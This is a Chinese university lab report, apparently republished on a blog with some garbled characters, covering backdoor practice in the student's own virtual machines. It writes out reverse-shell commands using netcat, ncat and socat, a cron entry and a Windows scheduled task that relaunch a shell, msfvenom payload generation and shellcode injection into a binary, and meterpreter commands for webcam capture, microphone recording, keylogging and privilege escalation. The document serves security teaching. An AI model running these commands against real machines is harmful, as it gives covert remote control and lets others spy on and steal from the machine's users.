2018-2019 2 20165203 《网络对抗技术》 Exp2 后门原理与实践

2018-2019 2 20165203 《网络对抗技术》 Exp2 后门原理与实践

实验内容

1.使用netcat获取主机操做Shell,cron启动 (0.5分)html

2.使用socat获取主机操做Shell, 任务计划启动 (0.5分)linux

3.使用MSF meterpreter(或其余软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)git

4.使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)web

5.可选加份内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹链接Shell(1分)加份内容一并写入本实验报告shell

基础知识问答

问题1:例举你能想到的一个后门进入到你系统中的可能方式?windows

  • 好比,我想在网上下载一个软件,软件的安装包可能带有后门程序,或者个人Win10系统有的漏洞尚未补丁,攻击者可能会利用漏洞来攻击,将后门程序注入到个人主机系统。

问题2:例举你知道的后门如何启动起来(win及linux)的方式?网络

  • windows系统上有一个定时任务,后门程序能够经过定时任务运行
  • 或者经过各类信息,诱惑用户点击运行(例如点击便可降价打折等等)

问题3:Meterpreter有哪些给你映像深入的功能?tcp

哇,既然提到这个问题,Meterpreter真的是细思极恐工具

  • 首先,可以开启靶机的摄像头,这真是太可怕了,真的会侵犯到我的的隐私;
  • 更可怕的是可以记录按键过程,若是电脑上有什么重要文件,那岂不是就很容易被窃取了,啧啧啧,So scareful!
  • 还有一点,提高用户权限!

问题4:如何发现本身有系统有没有被安装后门?学习

老实说,我作本次实验的杀毒软件都是关闭状态,由于在作第一遍实验时,注入到win10的socat.exebackdoor程序很快就被发现了,因此,平时仍是打开杀毒软件比较好。

实验知识储备

经常使用的后门工具

  • 后门:不通过正常认证流程而访问系统的通道。
  • 后门的位置:
    • 编译器
    • 操做系统
    • 应用程序(最多见)
    • 潜伏于操做系统中或假装为特定应用的专用后门程序
  • 通俗说法:后门特指潜伏于操做系统中专门做为后门的一个程序;坏人能够链接这个程序;经过该程序能够远程执行各类指令;概念上和木马上有重叠

那么,坏人一般如何经过后门进入系统呢?

  • 首先,有能够充当后门的程序,例如
    • netcat系列
    • meterpreter系列
    • intersect系列
  • 而后将后门程序,放在要攻击靶机的系统里,固然这就要有些手段了,一般有
    • 正版软件故意被攻击,包含后门
    • 正版库文件中包含后门
    • 诱骗你下载操做的,好比
      • 安装包包含后门程序
      • 网上下载的特定文件包含后门文件
      • 甚至直接悄无声息地发送恶意程序或钓鱼连接给你
      • 本身贪图便宜,捡了个U盘,就用了,这里面可能包含后门程序。
      • 坏人攻击系统的漏洞,得到控制权,安装后门
  • 而后还得运行起来,一般手段也有不少
    • 开机自动启动技术(电脑开机时,后门程序也就启动了)
    • win的定时任务(设置每一个时间段的固定时候,后门程序就启动了)
    • Linux中的cron
    • 后门程序假装成经常使用软件,诱惑用户点击,一点击,后门程序就运行了。
  • 后门程序固然靶机要检测,因此,后门程序还要作到不被靶机的恶意代码检测程序发现,一般用到的技术有:
    • 反弹式链接
    • 加密链接
    • 隧道技术

说了这么多,咱们经常使用的后门程序有哪些呢,也就是咱们实验所使用的后门程序又有那些呢?

  • netcat
    • 底层工具,进行基本的TCP和UDP数据收发
    • 常与其余工具结合使用,起到了后门的做用。
    • Linux通常自带netcat,一般用做nc,可经过man netcatman nc可查看说明。

下面咱们就来尝试一下如何使用netcatnc吧。

尝试一 用nc或netcat得到远程主机的Shell(win7攻击Linux)

在这里Windows系统我选择win7,Linux系统我选择win10。

  1. 首先,利用ipconfig查看windows的主机IP,如图所示,个人主机IP为192.168.154.139

  2. 下载好ncat,进入目录,按windows + R组合键打开cmd.exe,输入ncat.exe -l -p 5203来监听5203端口,如图所示。

  3. 此时,在Linux中,让Linux反弹链接win7,输入命令nc 192.168.154.139 -e /bin/sh,如图所示。(该IP为win的IP)

  4. 接下来,咱们能够发现,咱们在windows端成功得到了Linux端的shell终端。

尝试二 Linux得到windows终端(Linux攻击windows)

  1. 首先,咱们用ipconfig得到Linux的ip地址,ip为192.168.154.143。如图所示。

  2. 随后,Linux经过输入命令ns -l -p 5203

  3. Windows反弹链接Linux,在Windows终端下的ncat目录,输入ncat.exe -e cmd.exe 192.168.154.143,如图所示。

  4. 这时,咱们就会看到Linux终端下出现了Windows的终端。尝试一下,能够查看windows下的文件了。

尝试三 使用nc传输数据

首先,咱们先来了解一下nc传输数据的格式:

  • 目的主机监听:nc -l 监听端口 > 要接收的文件名
  • 源主机发起请求:nc 目的主机ip 目的端口
  1. 在Windows下发起监听,一样用ncat.exe -l -p 5203,如图所示。

  2. Kali Linux下链接经过命令nc 192.168.154.139 5203链接到Window7。

  3. 创建链接后,就能够传输信息了,如图所示。

Windows和Linux下传输文件。

了解cron

  • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

了解socat

  • socat是ncat的加强版,使用格式是socat <option> <adress> <adress>, 其中两个 是必选项,而
  • socat的两个基本功能是创建了两个双向的字节流,数据就在其间传输,参数 表明了其中的一个数据流向,数据有不少种类型,天然就须要选项参数
  • socat的windows下载路径为https://gitee.com/wildlinux/NetSec/attach_files

Meterpreter(根据老师上课所讲补充)

后门是一个程序,原本是有人编写一个程序,你们拿来用,可是有一些厉害的人,想编写一个平台能生成后门程序。这个平台,把后门的

    • 基本功能(基本链接、执行指令)
    • 扩展功能(搜集用户信息、安装服务等功能)
    • 编码格式
    • 运行平台
    • 运行参数

等所有作成零件或可调整的参数。用的时候按须要的组合,就能够生成一个可执行文件。

常见的平台:

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

了解更多关于Meterpreter平台的内容,能够参考https://www.freebuf.com/articles/system/53818.html

根据使用MSF生成的shellcode打造免杀playload,能够了解到,咱们能够用msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f c(IP为windows7的IP)生成shellcode, 注入到可执行文件里,执行时能够攻击主机。

咱们本次实践就是利用Meterpreter平台生成一个后门程序,而后攻击靶机。

实验过程

任务一 使用netcat获取主机操做Shell,cron启动

  1. 在windows系统下,输入命令ncat.exe -l -p 5203监听5203端口。

  2. crontab -e完成一条定时任务。

  3. 打开文档后,在最后一行添加36 * * * * /bin/netcat 192.168.154.139 5203 -e /bin/sh(windows的IP),意思是Kali Linux系统在每一个小时的第36分钟反向链接windows的5203端口:

  4. 当时间为21:36分时,监听成功,windows处出现了Kali Linux终端,如图所示(当我在终端输出命令的时候,时间已通过了1分钟,因此,截图上显示的时间是21:36分)。

任务二 使用socat获取主机操做Shell, 任务计划启动

本次实验我选的windows系统是win10系统。我查了一下个人win10主机的ip为 192.168.1.110 ,如图所示。

  1. 在win10系统下,右击左下角windows的图标,选择计算机管理。

  2. 任务计划程序处建立任务,填写任务名称(这个名称是本身取的,个人是xyx)。

  3. 而后点击触发器来新建一个触发器。开始任务选择工做站锁定时, 设置范围为全部用户,而后点击肯定,触发器就建立完了。

  4. 而后,在操做->程序或脚本中输入咱们以前下载的socat.exe的路径,我直接把它放在了C盘----C:\用户\xiao\socat\socat.exe,在添加参数一栏中添加tcp-listen:5203 exec:cmd.exe,pty,stderr,这个命令的做用是将cmd.exe绑定到端口5203上,同时把cmd.exe的stderr重定向到stdout上

  5. 任务建立完毕后,迅速按Windows+L锁定计算机,再次打开时,咱们能够查看到本身的任务,按右键,使其启动,状态变为正在运行状态。

  6. 在Kali Linux环境下输入命令socat - tcp:192.168.1.110:5203,这里的第一个参数表明-表明标准的输入输出,第二个流链接到了windows10主机上的5203端口,此时,能够发现一个Kali Linux成功得到了一个cmd.exe,这个cmd.exe正是咱们windows10的终端。

任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 在Kali Linux端,咱们输入msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f exe > 20165203.exe(windows7的IP地址),将生成的shellcode注入到后门程序20165203_backdoor.exe中。

  2. 在Windows中使用ncat.exe -lv 5203 > 20165203_backdoor.exe查看其链接状态,如图所示状态为链接正常。

  3. 在Kali Linux中输入nc 192.168.154.143 < 20165203_backdoor.exe(顺序变,箭头也要变),将20165203_backdoor.exe的后门程序注入到Windows7中。如图所示,收到Connection的链接,说明传输成功。

    并查看了本身在ncat文件夹中注入的20165203_backdoor.exe程序,保证大小为73K,若是为0K,说明传输未成功。

  4. 咱们在Kali Linux的终端上新打开一个终端,输入msfconsole进入msf控制台。

  5. 而后,咱们输入use exploit/multi/handler使用监听模块,设置payload

  6. 使用和生成后门程序相同的payload(在第一步那里),输入命令set payload windows/meterpreter/reverse_tcp

  7. 使用set LHOST 192.168.154.139(ip为Kali的IP)来设置payload的IP。

  8. 使用set LPORT 5203来设置payload的端口号。

  9. payload设置完成后,咱们来使用exploit开始监听。

10.Kali Linux已经开始监听,此时,咱们回到Windows7终端,退出上一次的命令,执行20165203_back_door.exe,再看Kali Linux的终端,咱们发现Linux得到了远程控制的Windows的shell。

任务四 使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 接着上个内容,咱们可使用record_mic截获一段音频,如图所示。

  2. 使用webcam_snap可使用摄像头进行拍照。(由于在晚上作的实验,穿着睡衣,就不拍本人了,嘻嘻)

  3. 使用screenshot能够截屏。

  4. 使用keyscan_start指令能够记录下鼠标击键的过程,使用keyscan_dump能够读取击键的记录

  5. 使用getuid查看当前用户,使用getsystem进行提权。

任务五 (可选加分项)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹链接Shell

同窗们都推荐江智宇学姐的博客,经过学习学姐总结的博客,我了解到

在关于msfconcole的参数中:

-p 是指定用于特定的payload

然而,咱们须要的payload的功能是获取反链接靶机的shell,学姐的博客中给出了咱们须要的payload是linux/x64/shell_reverse_tcp,

后面,咱们须要的是LHOSTLPORT,而后,咱们还须要-x来指定咱们须要注入的文件,为/home/20165203/exp2/pwn2.

-f 指定咱们文件的输出的格式,注入到pwn2中,pwn2是一个可执行文件,因此选elf格式。

因此,咱们的命令格式为

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.154.147 LPORT=5203 -x /home/20165203/exp2/pwn2 -f elf > pwn2_2

输入上述命令后,生成被注入shellcode的可执行文件pwn2_2,如图所示。

以后,咱们能够将pwn2_2注入到windows7中,调用msfconcole来监听,步骤与任务三相同了,作好了,就是如图所示格式啦。

实验中遇到的问题及解决方法

我遇到的问题零零散散,多数都是由于本身的智障犯下的错误,不过,我感受有的问题仍是很值得供你们参考借鉴的。

Q1:使用webcam_snap使用win7摄像头时,没法使用,提示141错误,如图所示。

A1:由于win7是在虚拟机中的,因此,咱们要从问题的根本下手。

  • 首先,咱们想到多是win7虚拟机里压根儿就没有摄像头,由于想摄像头这样的USB设备原本就不可能同虚拟机和本机一块儿使用的,咱们能够尝试查看一下win7的设备管理器,如图进入win7里面的控制面板,查看设备管理器。咱们能够看到,里面根本就没有
    图像设备,天然就没有摄像头了。

  • 接下来,咱们在虚拟机中设置,把USB端口链接到虚拟机上来,如图所示,要选择链接主机哦。

  • 接下来,咱们在win7中刚才的设备管理器中查看,就能发现有图像设备了, 就能够“偷窥”了,哈哈哈哈。

Q2:昨晚刚作完本次实验,结果今天打开Kali虚拟机时出现了如图所示问题,妈呀,不会是搞实验搞出问题了吧。

A2:结果,我发现我昨晚电脑里的socat.exe还在运行着,占用着虚拟机,因而,我索性打开电脑里的任务管理器,将里面带有.vm的进程所有关掉,而后再开启个人电脑管家,杀了一遍毒,Kali得以打开,看来平时仍是要常打开杀毒软件。

实验感想与体会

此次实验真的颇有激情,仿佛本身是个黑客,一步一步,固然是本身攻击本身,哈哈,当达到摄像头拍摄的效果时,本身仿佛开启了新时代的大门,成就感颇升。

感谢这次咱们班课题负责人,也就是咱们寝室长本次实验的帮助了,咱们能够搞一个黑客组合了,哈哈。

不过,我以为能够在从此的实验中,尝试用其余常见的后门程序来练习,更加熟悉后门原理。

相关文章
相关标签/搜索